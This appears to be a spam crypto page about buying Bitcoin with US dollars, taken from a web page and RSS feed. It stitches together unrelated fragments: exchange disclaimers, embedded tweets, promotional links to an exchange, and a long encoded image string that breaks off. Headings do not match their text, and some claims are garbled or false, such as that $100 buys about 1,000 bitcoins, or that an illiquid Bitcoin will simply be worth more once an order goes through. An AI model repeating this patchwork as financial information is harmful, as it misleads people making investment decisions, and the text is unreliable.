U.S. dollars, to buy Bitcoin.</p>
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<blockquote class="twitter-tweet">
<p lang="en" dir="ltr"><a href="https://twitter.com/hashtag/Crypto?src=hash&amp;ref_src=twsrc%5Etfw">#Crypto</a> and <a href="https://twitter.com/hashtag/Blockchain?src=hash&amp;ref_src=twsrc%5Etfw">#Blockchain</a> doesn&#8217;t belong to their jurisdiction, they are using faux common law &amp; unprecedented regulation to ban <a href="https://twitter.com/hashtag/crypto?src=hash&amp;ref_src=twsrc%5Etfw">#crypto</a> trading.<a href="https://twitter.com/hashtag/Bitcoin?src=hash&amp;ref_src=twsrc%5Etfw">#Bitcoin</a> is peer to peer, the last time we checked! <a href="https://t.co/qeN07O4NdT">https://t.co/qeN07O4NdT</a></p>
<p>&mdash; cryptoken board ℠ (@cryptoken_board) <a href="https://twitter.com/cryptoken_board/status/1521451981189038080?ref_src=twsrc%5Etfw">May 3, 2022</a></p></blockquote>
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<p>We also factor market depth into our exchange rates, which means that the demand liquidity for a given cryptocurrency can vary based on the size of the order. Adjustments for market depth are usually only noticeable on very large invoices. We factor market volatility into our exchange rates to offer a rate that BitPay will honor for up to 15 minutes, allowing a shopper ample time to complete the payment. The genesis of Bitcoin came during the 2008 global financial crisis, and initially, crypto was touted as the future of money, essentially as an alternative to fiat. Based on this, the major influential body that can impact the BTCUSD pair is the U.S. Federal Reserve, which has the mandate over the most powerful fiat currency, the USD. The Fed releases rate decisions 8 times a year, and these are important events for the BTCUSD price.</p>
<p><h2>Where To Buy Btc With Usd Using Your Credit Card?</h2>
</p>
<p>BTCUSD is a cryptocurrency CFD because of the presence of Bitcoin as the base currency. Cryptocurrency exchanges are a dime a dozen, but there are only a few we think make sense for crypto investors. The volatile, speculative nature of cryptocurrency investing presents risks for investors no matter how and where you buy it. Generally, if you’re using a beginner-friendly platform like Coinbase or PayPal, you can simply enter the amount in dollars you want to trade for Bitcoin, and buy at the current rate . If you use an exchange designed for more active trading, you may have the option to place both market and limit orders. The anonymous nature of cryptocurrencies attracts scammers and bad actors. So the reliable crypto exchange should maintain the KYC checks and verify customers’ identity to prevent possible frauds. As a rule, verification takes a few minutes to provide necessary information and photos. In our modern life, this new technology finds a lot of use cases outside the digital industry.</p>
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<p lang="en" dir="ltr">Close.. Very close! But not close enough it seems! Who did better than my time?<a href="https://twitter.com/hashtag/BitcoinButton?src=hash&amp;ref_src=twsrc%5Etfw">#BitcoinButton</a> <a href="https://twitter.com/hashtag/Binance?src=hash&amp;ref_src=twsrc%5Etfw">#Binance</a> <a href="https://twitter.com/hashtag/Crypto?src=hash&amp;ref_src=twsrc%5Etfw">#Crypto</a> <a href="https://twitter.com/hashtag/Cryptocurrencies?src=hash&amp;ref_src=twsrc%5Etfw">#Cryptocurrencies</a> <a href="https://twitter.com/hashtag/Cryptocurrency?src=hash&amp;ref_src=twsrc%5Etfw">#Cryptocurrency</a> <a href="https://twitter.com/hashtag/Bitcoin?src=hash&amp;ref_src=twsrc%5Etfw">#Bitcoin</a> <a href="https://twitter.com/hashtag/BTC?src=hash&amp;ref_src=twsrc%5Etfw">#BTC</a> <a href="https://twitter.com/search?q=%24BTC&amp;src=ctag&amp;ref_src=twsrc%5Etfw">$BTC</a> <a href="https://t.co/GAqik705is">pic.twitter.com/GAqik705is</a></p>
<p>&mdash; Level Up  Trading (@Leveluptrading) <a href="https://twitter.com/Leveluptrading/status/1521451703211593728?ref_src=twsrc%5Etfw">May 3, 2022</a></p></blockquote>
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<p>Run a search through your preferred search engine to determine the current conversion rate. Other topics included private fundraising options, market making in crypto, and Goldman offering traditional banking services to FTX, the FT reported. CoinDesk is an independent operating subsidiary of Digital Currency Group, which invests in cryptocurrencies and blockchain startups. CoinDesk journalists are not allowed to purchase stock outright in DCG. You might also want to enable a multi-signature option, which requires multiple independent approvals before making a bitcoin conversion or withdrawal. Once you select the base and target currencies from the list and enter the desired amount into the provided field, the currency calculator immediately gives you the result.</p>
<p><h2>Bitcoin Analysis</h2>
</p>
<p>Bitcoin has also seen a surge of new investors, with more than half of all current Bitcoin holders having bought in the past year. Bitfinex allows up to 10x leverage trading by providing traders with access to the peer-to-peer funding market. They just used a concept and a protocol created back in 1991, add some improvements, and presented the model of the decentralized financial system and the first cryptocurrency. The initial idea was in creating a storage system where documents are protected from unauthorized changes. One of the possible solutions was a system where document timestamps could not have tampered with.</p>
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<h2>How many bitcoins can I buy with 100?</h2>
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<p>If you invested $100, you&#8217;d have been able to buy about 1,000 bitcoins.</p>
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<p>Fees can be based on price volatility, and many are charged per transaction. While fees should definitely be a consideration, experts say you also get what you pay for, especially when sticking to the bigger, more established exchanges like Coinbase. If an exchange has more protections, better security, or other features that are important to you, it may be worth slightly higher fees. One Week Ago One Month Ago 3 Months Ago $42,119$47,128$37,784So what should crypto investors do in light of this volatility? Given crypto’s history of volatility, this increase doesn’t guarantee a long-term reversal. Bitcoin’s price is just as likely to fall back down as it is to continue climbing. The future of cryptocurrency is sure to include plenty more volatility, and experts say that’s something long-term crypto investors will have to continue dealing with. In the short term, these factors have created some noise and extra volatility in the crypto and stock markets, but this is usual during times of uncertainty. Volatility is standard in the cryptocurrency market, so experts predict the ups and downs to continue. Since then, Bitcoin has remained under pressure as investors wrestle with rising inflation, geopolitical crises, and the potential for tighter monetary policy by the Federal Reserve.</p>
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<h2>Is Bitcoin hard to sell?</h2>
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<p>Bitcoin is not liquid</p>
<p> And one reason is the difficulty some bitcoin holders have selling when market action is hot. If you can&#8217;t sell when the price is rising, it might not be that big a deal. You just have to wait until trading calms down and you can get an order through, by which time the price will be even higher.</p>
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<p>Blockchains are under a decentralized control, whereas a centralized database creates a dependent relationship between users and administrators. Users tend to prefer confidentiality, which is better achieved through a centralized database. Performance also differs, as a centralized database is able to compute information faster than blockchains. IG International Limited is part of the IG Group and its ultimate parent company is IG Group Holdings Plc. IG International Limited receives services from other members of the IG Group including IG Markets Limited. The information in this site does not contain investment advice or an investment recommendation, or an offer of or solicitation for transaction in any financial instrument. IG accepts no responsibility for any use that may be made of these comments and for any consequences that result. There is a limit of £500,000 notional value per client across all cryptocurrencies.</p>
<p>First, in contrast to 2017 when retail money entered the crypto space, in 2020 it was big, institutional money flowing into the scene. Several big companies, such as Visa and PayPal, announced massive entry into crypto, and some major central banks, as well as hedge funds, also produced positive headlines for the crypto market. Tesla set a new trend by buying $1.5b worth of Bitcoin with its cash reserves, rather than falling foul to holding cash reserves that could bring limited returns. Cryptocurrency pricing data can help investors find opportunities in the market and make more informed investment decisions. BitPay has relationships with many digital currency exchanges around the world. When calculating our exchange rates for BitPay invoices, we only incorporate rates of digital currency exchanges which meet our regulatory, operational, and liquidity requirements. Although mining and exchanging are questionable in terms of legality, it is known to be legal for users who exchanges bitcoins for goods and services. Enter an amount on the right-hand input field, to see the equivalent amount in Bitcoin on the left. The best marketplaces will allow desktop as well as mobile access.</p>
<p>Many online stores accept Bitcoin , Ether , Litecoin as payment methods. So you can buy Ethereum on the crypto exchange, for instance, and then use it to pay for goods and services. We know people with the nickname, Satoshi Nakamoto, as the Bitcoin creators. But we shouldn’t forget that they have also created the first blockchain — the only kind of digital network where cryptocurrencies can operate. Even before BTC developers launched the first distributed ledger, the concept of blockchain was described by different computer scientists. If you look at the Trade page on the CEX.IO website, you can see the chart representing the fluctuations of BTC market value. There are different pillows called ‘candlesticks’ that show the uptrend and downtrend .</p>
<p>To put this into perspective, in November 2018, the BTCUSD pair traded at $3,778. Mainstream adoption of Bitcoin caused the December 2017 peak of just below $20,000. But as major regulatory bodies sought to impose strict rules governing the space, the crypto party has faced challenging times. Regulation will continue to be a mixed pill for Bitcoin and other cryptocurrencies.</p>
<ul>
<li>Please be informed that on Tuesday, May 3rd, deposits and withdrawals via bank transfer will be unavailable.</li>
<li>Blockchains are under a decentralized control, whereas a centralized database creates a dependent relationship between users and administrators.</li>
<li>As the total number creeps toward the 21 million mark, many suspect the profits miners once made creating new blocks will become so low they&#8217;ll become negligible.</li>
<li>The central bank can also intervene, preventing the value of the dollar from increasing or decreasing too drastically.</li>
<li>The huge breakthrough moment was the first exchange of digital currency on the exchange.</li>
<li>As stated, earlier Bitcoin provides the price direction cue for almost all cryptocurrencies.</li>
</ul>
<p>Set it and forget it like you would any traditional long-term investment account. If you let your emotions get in the way, you could sell at the wrong time, or you might make the wrong investment decision. Just like you shouldn’t let a price drop influence your decision to buy Bitcoin, don’t let a sudden price increase alter your long-term investment strategy. Even more importantly, don’t start buying more Bitcoin just because the price is rising. The Bitfinex REST and Websocket APIs are designed to facilitate access to all features of the Bitfinex platform, allowing full integration with traders’ own products and platforms. The CEX.IO mobile app offers you more simple ways to exchange your crypto for fiats in the shortest time. The Payment Card Industry Data Security Standard is an internationally recognized set of security requirements related to gathering and storing card credentials.</p>
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		<title>Bitcoin</title>
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		<dc:creator><![CDATA[healthcarepruef]]></dc:creator>
		<pubDate>Mon, 13 Dec 2021 09:43:09 +0000</pubDate>
				<category><![CDATA[Bitcoin News]]></category>
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					<description><![CDATA[In the case of bitcoin, that arsenal can include almost anything. Say, the Bitcoin network’s mining power or the worthlessness of our current financial system. But the indicator that I am talking about here is the stock-to-flow ratio. Now, before I go on to discuss the stock-to-flow ratio, we need to first understand the mechanism [&#8230;]]]></description>
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In the case of bitcoin, that arsenal can include almost anything. Say, the Bitcoin network’s mining power or the worthlessness of our current financial system. But the indicator that I am talking about here is the stock-to-flow ratio. Now, before I go on to discuss the stock-to-flow ratio, we need to first understand the mechanism of Bitcoin mining and the mining subsidy halving. But even for those who don&#8217;t discover using their own high-powered computers, anyone can buy and sell bitcoins at the bitcoin price they want, typically through online exchanges like Coinbase or LocalBitcoins.</p>
<div style="display: flex;justify-content: center;">
<blockquote class="twitter-tweet">
<p lang="en" dir="ltr">The market does but that does not mean it is a negative&#8230; the market does not always happen to be right in the short term as we all know</p>
<p>&mdash; Alexander Bittan (@alexanderbittan) <a href="https://twitter.com/alexanderbittan/status/1371931505065361412?ref_src=twsrc%5Etfw">March 16, 2021</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
<p>You can use it to buy certain goods and services, or, if you like, easily trade it for currencies like the US dollar on a Bitcoin exchange and spend that instead. Like any other currency, Bitcoin’s value is determined by what the free market thinks it’s worth. There is a limited number of bitcoins , and all funds have a digital signature that cannot be replicated. Because the blockchain record is immutable and cannot feasibly be hacked or altered, it is essentially impossible to counterfeit Bitcoin. A cryptocurrency is a digital or virtual currency that uses cryptography and is difficult to counterfeit because of this security feature. In recent times, the matrix of factors <a href="https://forex-trend.net/beaxy-review/">beaxy crypto exchange</a> affecting Bitcoin price has changed considerably. Starting in 2017, when Bitcoin garnered mainstream attention, regulatory developments have had an outsized impact on its price because it extends the cryptocurrency’s reach. Depending on whether it is positive or negative, each regulatory pronouncement increases or decreases prices for Bitcoin. The pandemic crushed much of the stock market in March but the subsequent stimulus checks of up to $1,200 may have had a direct effect on the markets. Upon the release of those checks the entire stock market, including cryptocurrency, saw a huge rebound from March lows and even continued past their previous all-time-highs.</p>
<h2>Gold Price Charts</h2>
<p>The use of Bitcoin for treasury management at companies also strengthened its price in 2020. MicroStrategy Inc. and Square Inc. have both announced commitments to using Bitcoin, instead of cash, as part of their corporate treasuries. Events at Mt. Gox, one of the world’s first crypto exchanges, especially contributed to mercurial changes in Bitcoin&#8217;s price in 2014. For example, the price tumbled from $850 to $580, a decline of 32%, after the exchange claimed to have lost 850,000 Bitcoins in a hack and filed for bankruptcy in February 2014. Even earlier, in December 2013, rumors of poor management and lax security practices at Mt. Gox had caused a steep drop of 29% in its price. Continued institutional interest in the cryptocurrency further propelled its price upwards and Bitcoin&#8217;s price reached just under $24,000 in December 2020, an increase of 224% from the start of 2020. It took less than a month for Bitcoin to smash its previous price record and surpass $40,000 in January 2021. At its new peak, the cryptocurrency was changing hands at $41,528 on Jan 8, 2021.</p>
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<h2>How many Bitcoins are left?</h2>
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<p>Key Takeaways. There are only 21 million bitcoins that can be mined in total. Once bitcoin miners have unlocked all the bitcoins, the planet&#8217;s supply will essentially be tapped out.</p>
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<p>I wanted familiarization with it, so I started accepting bitcoin so that I could get a team of developers to learn about it,” Byrne said in an interview with FOX Business on December 20, 2017. The retailer also allows customers to pay for their merchandise in bitcoin. The company’s CEO, Patrick Byrne, is excited about the technology. <a href="https://forexdata.info/beaxy-exchange/">https://forexdata.info/beaxy-exchange/</a> “Sixty-six million tons of American soybeans were just handled through a blockchain transaction by the Dreyfus company to China. For more information and a complete list of our advertising partners, please check out our full Advertising Disclosure. TheCollegeInvestor.com strives to keep its information accurate and up to date.</p>
<h2>Elon Musk Announces On Twitter You Can Now Buy A Tesla With Bitcoin</h2>
<p>Each bitcoin has a complicated ID, known as a hexadecimal code, that is many times more difficult to steal than someone&#8217;s credit-card information. And since there is a finite number to be accounted for, there is less of a chance bitcoin or fractions of a bitcoin will go missing. A 2015 survey showed bitcoin users tend to be overwhelmingly white and male, but of varying incomes. The people with the most bitcoins are more likely to be using it for illegal purposes, the survey suggested. Bitcoin is secured with the SHA-256 algorithm, which belongs to the SHA-2 family of hashing algorithms, which is also used by its fork Bitcoin Cash , as well as several other cryptocurrencies. Bitcoin is a decentralized cryptocurrency <a href="https://www.google.com/search?q=btc stock price">btc stock price</a> originally described in a 2008 whitepaper by a person, or group of people, using the alias Satoshi Nakamoto. A spokesperson for Binance — the world’s largest crypto exchange — told Cointelegraph that the company has similar policies for providing access to crypto beneficiaries but did not elaborate on the process. “The beneficiary should contact customer support directly where one of our agents can guide them through the process,” the representative said. But this doesn’t mean that cryptocurrencies like Bitcoin can&#8217;t be bequeathed and will inevitably be buried forever with the deceased owner. Consequently, millions of dollars in crypto is being lost each year through the deaths of its owners.</p>
<p>The cryptocurrency was hovering around the $1,000 price range at the beginning of that year. After a period of brief decline in the first two months, the price charted a remarkable ascent from $975.70 on March 25 to $20,089 on December 17. Bitcoin&#8217;s price jumped from $1 in April of that year to a peak of $32 in June, a gain of 3200% within three short months. That steep ascent was followed by a sharp recession in crypto markets and Bitcoin&#8217;s price bottomed out at $2 in November 2011. There was a marginal improvement the following year and the price had risen from $4.80 in May to $13.20 by August 15. For the most part, Bitcoin investors have had a bumpy ride in the last ten years. In spite of all this, there are periods when the cryptocurrency’s price changes have outpaced even their usually volatile swings, resulting in massive price bubbles. Historically, the price overshoots the stock-to-flow ratio before coming down and averaging out.</p>
<p>Customers can now buy and sell Bitcoin and other virtual currencies using their PayPal accounts. One big name backing Bitcoin is hedge fund billionaire Paul Tudor Jones, who is most famous for raking it in during the Black Monday stock market crash of 1987. The Tudor Investment Corporation founder believes the Bitcoin rally is still in the &#8222;first inning.&#8220; He sees <a href="https://news.bitcoin.com/beaxy-accelerates-automated-trading-through-hummingbot-partnership/">crypto trading</a> the digital currency as the best inflation hedge. You can make money trading Bitcoin – you can also lose it! Many people monitor Bitcoin’s price action through charts and either purchase BTC or buy BTC futures contracts which allow them to open long and short positions on Bitcoin. Trading such a volatile currency can be profitable, but is undeniably risky.<br />
<img class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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